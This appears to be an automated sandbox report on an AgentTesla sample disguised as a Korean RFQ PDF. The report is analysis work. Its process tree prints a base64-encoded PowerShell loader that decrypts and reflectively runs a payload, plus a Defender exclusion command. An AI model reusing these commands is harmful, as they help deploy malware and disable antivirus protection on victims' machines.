Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/05/2024, 18:35

General

  • Target
    견적 의뢰 New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe
  • Size 1.0MB
  • Sample240518-w8fevahd2w
  • SHA256 75c221ba937ac5b43e8e44d0e5e311bf7ad7105df44a7b09e073a224e9a7c3a3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\견적 의뢰 New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\견적 의뢰 New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADcARAAsACAAMAB4ADkANQAsACAAMAB4ADUAQQAsACAAMAB4ADMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARgAsACAAMAB4ADIAMQAsACAAMAB4ADkAQwAsACAAMAB4ADEAQwAsACAAMAB4AEYANQAsACAAMAB4ADcARQAsACAAMAB4AEEAMwAsACAAMAB4AEYANAAsACAAMAB4ADQARgAsACAAMAB4ADYAOAAsACAAMAB4AEYAMQAsACAAMAB4ADkANgAsACAAMAB4ADkAMQAsACAAMAB4AEEARAAsACAAMAB4AEUARgAsACAAMAB4AEMAMgAsACAAMAB4AEMAOAAsACAAMAB4AEUAMwAsACAAMAB4AEEANwAsACAAMAB4ADcAQgAsACAAMAB4ADgAMQAsACAAMAB4AEYAQgAsACAAMAB4ADIAOQAsACAAMAB4AEQAOAAsACAAMAB4AEQANAAsACAAMAB4ADMAMAAsACAAMAB4ADIAMAApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAyADYALAAgADAAeAAzAEEALAAgADAAeAA0AEIALAAgADAAeAA0ADEALAAgADAAeABGADUALAAgADAAeABGADkALAAgADAAeABEADgALAAgADAAeABDADUALAAgADAAeAA5AEUALAAgADAAeAA4ADEALAAgADAAeAA1AEYALAAgADAAeABEAEEALAAgADAAeAA1ADQALAAgADAAeAA2ADgALAAgADAAeABFADQALAAgADAAeABBADEAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      2⤵
      • UAC bypass
      • Windows security bypass
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\견적 의뢰 New Po -7HY00589 RFQ-0424-135 05 -24 pdf.exe" -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:692
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3900
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1408 --field-trial-handle=2280,i,4114443225282860369,4764091921472631035,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:2432

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_km00wvga.eja.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_km00wvga.eja.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          file-3400.putik

          • Path C:\Users\Admin\AppData\Local\Temp\file-3400.putik
          • Size 34KB
          • SHA256 1a94e878b6ade60c90adb0c4eeaa20ea887fbf58d4bb5ea578e488c1ddaf25cc
          • MD5 SHA1 SHA512 SSDEEP

          memory/692-25-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/692-35-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/692-32-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/692-28-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/692-27-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/3900-42-0x0000000006600000-0x0000000006692000-memory.dmp

          memory/3900-38-0x0000000005B80000-0x0000000006124000-memory.dmp

          memory/3900-40-0x0000000005640000-0x00000000056A6000-memory.dmp

          memory/3900-41-0x0000000006510000-0x0000000006560000-memory.dmp

          memory/3900-29-0x0000000000400000-0x0000000000440000-memory.dmp

          memory/3900-43-0x00000000065A0000-0x00000000065AA000-memory.dmp

          memory/4484-15-0x00000278D00C0000-0x00000278D00CC000-memory.dmp

          memory/4484-31-0x00007FFD3FDC3000-0x00007FFD3FDC5000-memory.dmp

          memory/4484-30-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/4484-36-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/4484-37-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/4484-16-0x00000278D0490000-0x00000278D0524000-memory.dmp

          memory/4484-39-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/4484-1-0x00007FFD3FDC3000-0x00007FFD3FDC5000-memory.dmp

          memory/4484-13-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/4484-12-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

          memory/4484-2-0x00000278CD510000-0x00000278CD532000-memory.dmp